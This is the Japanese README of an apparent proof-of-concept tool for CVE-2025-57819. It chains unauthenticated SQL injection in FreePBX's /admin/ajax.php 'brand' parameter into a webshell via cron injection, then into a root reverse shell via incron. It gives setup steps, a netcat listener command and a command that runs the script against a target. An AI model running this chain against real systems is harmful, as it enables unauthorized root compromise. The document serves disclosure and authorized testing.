CVE-2025-57819 — FreePBX SQLi → RCE → Root

CVE-2025-57819 のフルチェーン PoC です。FreePBX の endpoint モジュールにおける認証不要のエラーベース SQL インジェクションが、cron ジョブインジェクションと incron 権限昇格を経由して root シェルへと連鎖します。

許可されたテストおよび研究目的のみに使用してください。所有していないシステムに対して使用しないでください。

動作概要

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. /admin/ajax.php に対するエラーベースインジェクションで DB 情報を取得します
2. Web ルートに PHP ウェブシェルを書き込む cron ジョブを注入します
3. cron の発火を待機し（約60秒）、asterisk として RCE を確認します
4. root として fwconsole フックを発火させる incron トリガーファイルを作成します
5. リスナー上でリバースシェルを捕獲します

セットアップ

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

使用方法

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

先にリスナーを起動してください:

nc -lvnp 9999

次に実行します:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup は、悪用後にウェブシェルと cron ジョブを削除します。

影響を受けるバージョン

endpoint モジュールがインストールされた FreePBX。/admin/ajax.php 内の brand パラメータがサニタイズされずに SQL クエリへ渡されます。

参照

• FreePBX セキュリティアドバイザリ GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

作者

ozcanpng — github.com/ozcanpng — ozcanpng.dev